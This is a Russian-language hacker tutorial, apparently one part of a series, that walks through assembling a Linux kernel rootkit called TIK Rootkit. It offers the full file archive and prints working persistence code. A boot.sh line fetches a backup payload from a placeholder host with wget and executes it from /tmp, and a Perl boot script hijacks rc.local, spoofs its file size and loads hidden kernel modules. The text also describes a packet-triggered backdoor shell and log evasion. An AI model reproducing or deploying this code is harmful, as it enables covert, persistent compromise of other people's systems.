Hi!
Итак, сегодня мы поговорим о том, как собрать все изученные фишки вместе и закодить полноценный руткит. Любой руткит должен уметь делать хотя бы 3 базовые фишки:
- выживать при перезагрузке (в идеале и при небольшом апгрэйде)
- прятаться от сисопа
- давать хаксору бэкдор
Руткит, о котором я сегодня вам расскажу, называется TIK Rootkit 🙂
Его возможности:
- Слушать трафик в сети и по получению определенного пакета, запускать обычный port bind shell, shell который коннектится наружу или любую другую прогу.
- Редиректить файлы, для того чтобы автоматически незаметно запускаться при перезагрузке компьютера.
- Система Anti-Log которая позволяет login'иться через SSH, FTP, Telnet, etc, и не оставлять при этом записи в логах.
Составные части rootkit'а и как они работают.
Во-первых, нужно выбрать какой из системных загрузочных (boot) скриптов мы будем использовать для запуска rootkit'а. Можно, например, использовать /etc/rc.d/rc.local и т.д. Потом нужно сделать копию этого скрипта для последующего редиректа.
В rootkit'е есть 2 своих boot скрипта. Один маленький, помещается вместо выбранного нами ранее системного boot скрипта.
Для того, чтобы по временным меткам (timestamps) нельзя было заметить, что файл был изменен, используется
описанный ранее модуль Time Machine. Этот маленький boot скрипт проверяет есть ли остальные файлы руткита. Если их нет, то скорее всего руткит был обнаружен и удален. В этом случае boot скрипт может скачать какую-нибудь резервную программу из инета и запустить ее. Если же все в порядке, то он запускает второй boot скрипт.
Второй boot скрипт находится в основном каталоге вместе с остальными файлами rootkit'а. Он увеличивает или уменьшает размер первого boot скрипта в соответствии с размером настоящего boot скрипта. Потом он проверяет версию ядра и может перекомпилировать модули, если это необходимо.
После чего он загружает основной rootkit'овский модуль и прячет его с помощью другого модуля, который был описан в первой части. И напоследок запускает копию настоящего boot скрипта.
Далее загруженный модуль перенаправляет файл с первым бут скриптом в сохраненную копию, после чего обнаружить подмену становится сложнее. Также основной модуль слушает трафик чтобы по определенной команде открыть бэкдор или включить систему
Anti-Log.
Файлы руткита:
boot.sh - первый маленький boot скрипт.
boot.pl - второй boot скрипт.
lock.c - главный модуль.
hmod.c - прячущий модуль.
key.c - прога для удаленного управления rootkit'ом с помощью специальных пакетов.
tm.c - модуль для управления временными метками.
А также пара Makefile'ов
Для удобства юзания я выкладываю архив со всеми файлами руткита.
Теперь licence - юзайте этот rootkit на свой страх и риск, в нем есть баги, этот руткит только для образовательных целей, я не в ответе не за какие ваши действия!
--- --- --- boot.sh --- cut here --- --- ---
#!/bin/sh
if [ ! -d /path/to/your/hack/folder ]; then wget http://yoursite.somewhere.com/backup -O /tmp/.b ; chmod 755 /tmp/.b ; /tmp/.b ; exit 0; fi ; /path/to/your/hack/folder/boot.pl
--- --- --- boot.sh --- cut here --- --- ---
Скрипт выполнен в 2-х строчках для экономии байтов 🙂 Он просто проверяет есть ли основной каталог с файлами руткита. Если нет - скачать запасную прогу и запустить ее. Если есть - запустить второй бут скрипт.
Второй бут скрипт выполнен на перле так как он мне больше нравится 🙂
--- --- --- boot.pl --- cut here --- --- ---
#!/usr/bin/perl
$REAL_BS = "/path/to/your/hack/folder/redir/rc.local"; #сохраненный бут скрипт
$FAKE_BS = "/etc/rc.d/rc.local"; #первый бут скрипт руткита
$HVER = "2.4.2-2"; #версия ядра, для которого были скомпилированы модули
$HDIR = "/path/to/your/hack/folder/";
$CWD = `pwd`;
chdir($HDIR);
#проверить если модули были скомпилированы для текущего ядра
open(VERSION, "</proc/version");
$VERSION = <VERSION>;
close(VERSION);
@VERSION = split(/ /, $VERSION);
if(@VERSION[2] ne $HVER)
{
#попытаться перекомпилировать модули (мало тестировалось! нужна проверка правильности компиляции и модификация
$HVER!)
chdir("lock");
system("make");
chdir("../hmod");
system("make");
chdir("../");
}
#проверить совпадает ли размер руткитовского бут скрипта и настоящего
@STAT_REAL_BS = stat($REAL_BS);
@STAT_FAKE_BS = stat($FAKE_BS);
if(@STAT_REAL_BS[7] > @STAT_FAKE_BS[7])
{
#увеличить размер руткитовского бут скрипта
open(FAKE_BS, ">>$FAKE_BS");
$tmp = " " x (@STAT_REAL_BS[7] - @STAT_FAKE_BS[7]);
syswrite(FAKE_BS, $tmp);
close(FAKE_BS);
}
elsif(@STAT_REAL_BS[7] < @STAT_FAKE_BS[7])
{
#уменьшить размер руткитовского бут скрипта
open(FAKE_BS, "<$FAKE_BS");
#@FAKE_BS = <FAKE_BS>;
read(FAKE_BS, $FAKE_BS, @STAT_REAL_BS[7]);
close(FAKE_BS);
open(FAKE_BS, ">$FAKE_BS");
syswrite(FAKE_BS, $FAKE_BS);
close(FAKE_BS);
}
#удалить старый mod.addr файл
system("rm mod.addr -f >>/dev/null 2>&1");
#'insmod' модули
system("insmod lock/lock.o -f >mod.load 2>&1");
system("insmod hmod/hmod.o hide=lock -f >>mod.load 2>&1");
chdir($CWD);
#запустить настоящий boot script
system($REAL_BS);
--- --- --- boot.pl --- cut here --- --- ---
Если все будет успешно, то главный модуль руткита (lock.o) будет загружен и скрыт. В файле mod.addr будет записан его адрес в ядре для того, чтоб потом его можно было выгрузить если надо. В файле mod.load будет на всякий случай записано то, что сказал
insmod (то, что при загрузке hmod.o возникает ошибка - нормально! Читай первую часть для объяснения).
hmod.c и tm.c описывать не буду так как они описаны в первой части.